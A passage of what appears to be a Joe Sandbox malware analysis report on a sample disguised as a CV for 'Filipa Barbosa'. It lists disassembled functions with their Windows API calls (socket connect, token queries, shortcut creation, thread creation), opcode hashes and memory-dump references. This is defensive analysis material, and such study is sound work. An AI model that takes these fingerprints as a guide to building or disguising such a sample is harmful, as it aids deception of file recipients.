                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorLastconnectinet_addrsocket
                                                                  • String ID:
                                                                  • API String ID: 3701255441-0
                                                                  • Opcode ID: eaeb838cf8a81d80d99bc4b9010ca2a0777aa8e3499a1a7fa471251c13dbddf8
                                                                  • Instruction ID: fea360d828ec6d5d51167ded0844057755a94c6e0214da19eb4c1022d0cab1bd
                                                                  • Opcode Fuzzy Hash: eaeb838cf8a81d80d99bc4b9010ca2a0777aa8e3499a1a7fa471251c13dbddf8
                                                                  • Instruction Fuzzy Hash: B12193312402149FCB15AF68CC8AB7D77E9EF49710F048499F95A973D2CF74AC058751
                                                                  Function 00B78420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • IsWindow.USER32(00000000), ref: 00B78441
                                                                  • GetForegroundWindow.USER32 ref: 00B78458
                                                                  • GetDC.USER32(00000000), ref: 00B78494
                                                                  • GetPixel.GDI32(00000000,?,00000003), ref: 00B784A0
                                                                  • ReleaseDC.USER32(00000000,00000003), ref: 00B784DB
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$ForegroundPixelRelease
                                                                  • String ID:
                                                                  • API String ID: 4156661090-0
                                                                  • Opcode ID: 4a96110aed83dae75828e84e18d10f5835a4359856746c038f00e15130e21221
                                                                  • Instruction ID: 36b4f4eb91da9a8443540f7c170059e29db7fba80df672f55b002980219902fc
                                                                  • Opcode Fuzzy Hash: 4a96110aed83dae75828e84e18d10f5835a4359856746c038f00e15130e21221
                                                                  • Instruction Fuzzy Hash: C3216F75A00204AFD700DFA4D889AAEBBF5EF49301F04C8B9E85AD7751DE70AC40CB60
                                                                  Function 00B3AF83 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00B3AFE3
                                                                  • SelectObject.GDI32(?,00000000), ref: 00B3AFF2
                                                                  • BeginPath.GDI32(?), ref: 00B3B009
                                                                  • SelectObject.GDI32(?,00000000), ref: 00B3B033
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ObjectSelect$BeginCreatePath
                                                                  • String ID:
                                                                  • API String ID: 3225163088-0
                                                                  • Opcode ID: 12c0b5e2c4003fc8e917705d03a8ba8ca9a277b1f206ca68396a3b72e5e11950
                                                                  • Instruction ID: 869dee3262eb1703c4fab31b29098acbd0c56674f4001a90e541669753343bd6
                                                                  • Opcode Fuzzy Hash: 12c0b5e2c4003fc8e917705d03a8ba8ca9a277b1f206ca68396a3b72e5e11950
                                                                  • Instruction Fuzzy Hash: 5621B0B1800385EFDB20DF58EC89B9E7BA8FB11355F34475AE525AB1A0CB709981DF90
                                                                  Function 00B4217F Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __calloc_crt.LIBCMT ref: 00B421A9
                                                                  • CreateThread.KERNEL32(?,?,00B422DF,00000000,?,?), ref: 00B421ED
                                                                  • GetLastError.KERNEL32 ref: 00B421F7
                                                                  • _free.LIBCMT ref: 00B42200
                                                                  • __dosmaperr.LIBCMT ref: 00B4220B
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
                                                                  • String ID:
                                                                  • API String ID: 2664167353-0
                                                                  • Opcode ID: 1ad96e238cbac0a5e3029f21bca461855e59c70c9883ca272c06cb863f0d9b88
                                                                  • Instruction ID: 3b0e36fa175e87c730263e59a917315439fbff48157d7d41a78cd115905745d7
                                                                  • Opcode Fuzzy Hash: 1ad96e238cbac0a5e3029f21bca461855e59c70c9883ca272c06cb863f0d9b88
                                                                  • Instruction Fuzzy Hash: 40110432144346AFEB11AFA4DC42DAB3BE9EF05770B1004A9F91497192EFB1DA01B6A1
                                                                  Function 00B5ABBB Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00B5ABD7
                                                                  • GetLastError.KERNEL32(?,00B5A69F,?,?,?), ref: 00B5ABE1
                                                                  • GetProcessHeap.KERNEL32(00000008,?,?,00B5A69F,?,?,?), ref: 00B5ABF0
                                                                  • HeapAlloc.KERNEL32(00000000,?,00B5A69F,?,?,?), ref: 00B5ABF7
                                                                  • GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00B5AC0E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                                  • String ID:
                                                                  • API String ID: 842720411-0
                                                                  • Opcode ID: 983c6d4ebf6acabbc07dcb3e1ca071b8d831520ca82c15e4f8b081077ccd4aeb
                                                                  • Instruction ID: 908a6946280a56466942d151879757dfc87c12a30d4c1c8d05c50208993a24c6
                                                                  • Opcode Fuzzy Hash: 983c6d4ebf6acabbc07dcb3e1ca071b8d831520ca82c15e4f8b081077ccd4aeb
                                                                  • Instruction Fuzzy Hash: B6013C71200204BFDB104FA9DC49EAB3FEDEF8A75571005A9F946E3260DA71DC44CB61
                                                                  Function 00B59ABF Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CLSIDFromProgID.OLE32 ref: 00B59ADC
                                                                  • ProgIDFromCLSID.OLE32(?,00000000), ref: 00B59AF7
                                                                  • lstrcmpiW.KERNEL32(?,00000000), ref: 00B59B05
                                                                  • CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00B59B15
                                                                  • CLSIDFromString.OLE32(?,?), ref: 00B59B21
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: From$Prog$FreeStringTasklstrcmpi
                                                                  • String ID:
                                                                  • API String ID: 3897988419-0
                                                                  • Opcode ID: 14a747ad01efc7f67b97db47b818611bfa9157b0b9f0abec784008631e60f6c7
                                                                  • Instruction ID: 4afbb472a9467d5706a4401889e466f3c0e5196984731fc6446abb5ab0212d3b
                                                                  • Opcode Fuzzy Hash: 14a747ad01efc7f67b97db47b818611bfa9157b0b9f0abec784008631e60f6c7
                                                                  • Instruction Fuzzy Hash: 0A017876600208FBEB104F68EC45BAABBEDEB45752F1480A5FD06D3210DB74DD489BA0
                                                                  Function 00B67A58 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00B67A74
                                                                  • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00B67A82
                                                                  • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00B67A8A
                                                                  • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00B67A94
                                                                  • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00B67AD0
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                  • String ID:
                                                                  • API String ID: 2833360925-0
                                                                  • Opcode ID: e27bbe190e3ad7acc7cbe1afc21a41443c7914558be939d3f4fbfbfe943f0d58
                                                                  • Instruction ID: 82569d5a476dce04be23c03463ae87f0e3558ba34e718f1a31d8f266c80a662b
                                                                  • Opcode Fuzzy Hash: e27bbe190e3ad7acc7cbe1afc21a41443c7914558be939d3f4fbfbfe943f0d58
                                                                  • Instruction Fuzzy Hash: DB012931C45619EBCF00AFE4DC89ADDBBB8FF09715F000496E502B3260DF349A508BA1
                                                                  Function 00B5AAC3 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B5AADA
                                                                  • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B5AAE4
                                                                  • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B5AAF3
                                                                  • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B5AAFA
                                                                  • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B5AB10
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                  • String ID:
                                                                  • API String ID: 44706859-0
                                                                  • Opcode ID: 55db591f49bee88b6eeae693bf37537e3469435d28825ebe2216545444f1416e
                                                                  • Instruction ID: e2d4b9220239f33456a986f896d89994b23ccb0752b218ff370bac5a6be6251c
                                                                  • Opcode Fuzzy Hash: 55db591f49bee88b6eeae693bf37537e3469435d28825ebe2216545444f1416e
                                                                  • Instruction Fuzzy Hash: 1DF04F712402086FEB110FA4EC89FA73BADFF46755F000169F942D7190DA7098058AB1
                                                                  Function 00B5AA62 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B5AA79
                                                                  • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B5AA83
                                                                  • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B5AA92
                                                                  • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B5AA99
                                                                  • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B5AAAF
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                  • String ID:
                                                                  • API String ID: 44706859-0
                                                                  • Opcode ID: 84a1cf107c44fc231bbdfec3caf5452f3f2ccfada06c80be24ca735458eb6727
                                                                  • Instruction ID: 7b99614cca086c11701f40bc4c12df4ff9d08a6aae14c8ee223bd04675e45362
                                                                  • Opcode Fuzzy Hash: 84a1cf107c44fc231bbdfec3caf5452f3f2ccfada06c80be24ca735458eb6727
                                                                  • Instruction Fuzzy Hash: ABF04F712402086FEB215FA4AC8AFA73BACFF4A755F000559FA42D7190DB709C45CA61
                                                                  Function 00B5EC80 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetDlgItem.USER32(?,000003E9), ref: 00B5EC94
                                                                  • GetWindowTextW.USER32(00000000,?,00000100), ref: 00B5ECAB
                                                                  • MessageBeep.USER32(00000000), ref: 00B5ECC3
                                                                  • KillTimer.USER32(?,0000040A), ref: 00B5ECDF
                                                                  • EndDialog.USER32(?,00000001), ref: 00B5ECF9
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                  • String ID:
                                                                  • API String ID: 3741023627-0
                                                                  • Opcode ID: 9f6193fa1f917a50dfd37f5f49f50634d8a7eec33baf988d699936ca6efd016e
                                                                  • Instruction ID: db49f743fe1d31681a3f4bbe1b5cbffbfe97e5debc262efce4dd7d4ec4a6f24f
                                                                  • Opcode Fuzzy Hash: 9f6193fa1f917a50dfd37f5f49f50634d8a7eec33baf988d699936ca6efd016e
                                                                  • Instruction Fuzzy Hash: 2A018130900754ABEB295B10DE4FB9677B8FB15706F0045D9B9A7A68E0DBF0EA48CB40
                                                                  Function 00B3B0AB Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • EndPath.GDI32(?), ref: 00B3B0BA
                                                                  • StrokeAndFillPath.GDI32(?,?,00B9E680,00000000,?,?,?), ref: 00B3B0D6
                                                                  • SelectObject.GDI32(?,00000000), ref: 00B3B0E9
                                                                  • DeleteObject.GDI32 ref: 00B3B0FC
                                                                  • StrokePath.GDI32(?), ref: 00B3B117
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                  • String ID:
                                                                  • API String ID: 2625713937-0
                                                                  • Opcode ID: 4511d4b6f1e9c76cffa0d6b4c4da6917a81c77a8e0fec12430a2efb1fa9fc867
                                                                  • Instruction ID: 56573efe969ee09a4cfa9d744c25779cda08a65d9ab98c5c945ecda0b14c92b4
                                                                  • Opcode Fuzzy Hash: 4511d4b6f1e9c76cffa0d6b4c4da6917a81c77a8e0fec12430a2efb1fa9fc867
                                                                  • Instruction Fuzzy Hash: 7FF04F70000684EFCB219F69EC4EB993FA4E701362F288755F5669A4F0CF308A56DF10
                                                                  Function 00B6F23D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CoInitialize.OLE32(00000000), ref: 00B6F2DA
                                                                  • CoCreateInstance.OLE32(00BADA7C,00000000,00000001,00BAD8EC,?), ref: 00B6F2F2
                                                                  • CoUninitialize.OLE32 ref: 00B6F555
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateInitializeInstanceUninitialize
                                                                  • String ID: .lnk
                                                                  • API String ID: 948891078-24824748
                                                                  • Opcode ID: 1dfd31a3197eb888064bfdbcd2b4d536f8f86d758aab99f62ffc6af7858b28d1
                                                                  • Instruction ID: f55cbe6f3c4651f123ee1d824b3c6e09079571ad1b9f7fee712213967bdf8fe3
                                                                  • Opcode Fuzzy Hash: 1dfd31a3197eb888064bfdbcd2b4d536f8f86d758aab99f62ffc6af7858b28d1
                                                                  • Instruction Fuzzy Hash: 4AA12A71104301AFD700EF64D882EAFB7E8EF98714F4049ADF55A97192EB70EA49CB52
                                                                  Function 00B6E7DD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B2660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B253B1,?,?,00B261FF,?,00000000,00000001,00000000), ref: 00B2662F
                                                                  • CoInitialize.OLE32(00000000), ref: 00B6E85D
                                                                  • CoCreateInstance.OLE32(00BADA7C,00000000,00000001,00BAD8EC,?), ref: 00B6E876
                                                                  • CoUninitialize.OLE32 ref: 00B6E893
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                                  • String ID: .lnk
                                                                  • API String ID: 2126378814-24824748
                                                                  • Opcode ID: 35d11a9da6e8b175f1886dc14334d0eff9c404318eefd24080aa114692290e88
                                                                  • Instruction ID: b3965deb3444dd519c20525af2996c72a2ee65535b3807dda9850c88621bf16f
                                                                  • Opcode Fuzzy Hash: 35d11a9da6e8b175f1886dc14334d0eff9c404318eefd24080aa114692290e88
                                                                  • Instruction Fuzzy Hash: D1A144796043119FCB14DF14C88496EBBE5FF89710F148988F9AA9B3A2CB35EC45CB91
                                                                  Function 00B4325D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __startOneArgErrorHandling.LIBCMT ref: 00B432ED
                                                                    • Part of subcall function 00B4E0D0: __87except.LIBCMT ref: 00B4E10B
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorHandling__87except__start
                                                                  • String ID: pow
                                                                  • API String ID: 2905807303-2276729525
                                                                  • Opcode ID: 66b7d14705ff0101a0a4479b18d34afb0eda6ba431e1b4f7449c7b582300b1a6
                                                                  • Instruction ID: 9a9484309ece6d1302efd786bd6e6be084359a453a7b4412dadcfe0c253d39b0
                                                                  • Opcode Fuzzy Hash: 66b7d14705ff0101a0a4479b18d34afb0eda6ba431e1b4f7449c7b582300b1a6
                                                                  • Instruction Fuzzy Hash: A5512D71A0820297DB157B14C98137A7BD4FB40B10F284DE8F4E5862E9DFB5CF94BA46
                                                                  Function 00B64606 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,00BBDC50,?,0000000F,0000000C,00000016,00BBDC50,?), ref: 00B64645
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  • CharUpperBuffW.USER32(?,?,00000000,?), ref: 00B646C5
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: BuffCharUpper$__itow__swprintf
                                                                  • String ID: REMOVE$THIS
                                                                  • API String ID: 3797816924-776492005
                                                                  • Opcode ID: 137a394ba187bc37c3f580b9627337f7e007b9fdc23686ef8a6432376eb470e6
                                                                  • Instruction ID: 5f3a077db0f16790bad7215ce6e5e34652a3cfdd941f037567b304d00e01981e
                                                                  • Opcode Fuzzy Hash: 137a394ba187bc37c3f580b9627337f7e007b9fdc23686ef8a6432376eb470e6
                                                                  • Instruction Fuzzy Hash: C8418035A006199FCF04DF64C881ABEB7F5FF4A304F1484A9E91AAB292DB38DD45CB50
                                                                  Function 00B8A63F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                                  Download Yara Rule
                                                                  APIs
